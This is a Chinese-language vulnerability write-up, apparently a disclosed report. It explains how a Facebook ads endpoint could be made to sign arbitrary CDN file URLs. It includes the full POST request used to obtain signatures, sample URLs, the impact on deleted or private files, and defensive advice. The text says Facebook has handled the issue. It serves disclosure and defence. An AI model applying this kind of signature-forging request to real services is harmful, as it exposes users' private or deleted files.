挖洞经验 | 获取Facebook CDN托管文件的有效URL签名
字数 757 2025-08-15 21:30:41
Facebook CDN文件URL签名漏洞分析与利用
漏洞概述
该漏洞允许攻击者为Facebook CDN服务器上托管的任意文件生成有效的URL签名参数(oh和oe),从而能够访问原本受签名保护的文件资源。
Facebook CDN URL结构分析
典型的Facebook CDN文件URL格式如下:
https://scontent.ftun3-1.fna.fbcdn.net/v/t39.2365-6/10734332_858877080824977_1850649729_n.jpg?_nc_cat=100&_nc_sid=ad8a9d&_nc_ohc=OqjMAvXzPM4AX-iWuw3&_nc_ht=scontent.ftun3-1.fna&oh=eb51bfb048f02e851026515680b1f94b&oe=5E922573
关键参数:
oh: URL签名参数oe: 签名过期时间
签名验证机制
-
无签名访问:直接访问无签名参数的URL会返回"BadURL timestamp"错误
https://scontent.ftun3-1.fna.fbcdn.net/v/t39.2365-6/10734332_858877080824977_1850649729_n.jpg -
无效签名:提供错误签名会返回"URL signature mismatch"错误
-
过期签名:签名有效但已过期会返回"URL signature expired"错误
漏洞利用方法
通过Facebook的/ads/tools/text_overlay_validation_with_crops/async/端点可以为任意CDN文件生成有效签名。
利用步骤:
-
准备一个无签名的CDN文件URL
https://scontent.ftun3-1.fna.fbcdn.net/v/t39.2365-6/10734332_858877080824977_1850649729_n.jpg -
发送以下POST请求:
POST /ads/tools/text_overlay_validation_with_crops/async/ HTTP/1.1 Host: www.facebook.com __a=1& fb_dtsg=YOUR_CSRF_TOKEN& image_position_to_crops[0]={"url":"<URL>","width":960,"height":960,"crops":[100,0,526,395]} -
响应中将包含带有新签名参数的URL:
https://scontent.xx.fbcdn.net/hphotos-xap1/v/t39.2365-6/s526x395/10734332_858877080824977_1850649729_n.jpg?oh=b1fa2b10cef8aaee779dbac57f23db6f&oe=5E812361
漏洞危害
- 访问已删除或隐私变更的文件:即使文件被删除或隐私设置变更,只要知道原始URL仍可访问
- 批量文件下载:通过查找旧时间戳的URL,生成新签名实现批量下载
- 内部CDN访问:漏洞同样存在于内部CDN服务器
interncache-frc.fbcdn.net(需配合SSRF等漏洞利用)
防御建议
- 服务端应对文件URL签名请求进行严格权限验证
- 确保签名生成端点只能为当前用户有权限访问的文件生成签名
- 实现签名与特定用户会话绑定的机制
- 对内部CDN服务器实施更严格的访问控制
漏洞报告流程
该漏洞已通过Facebook安全团队处理,参考来源为ysamm和clouds。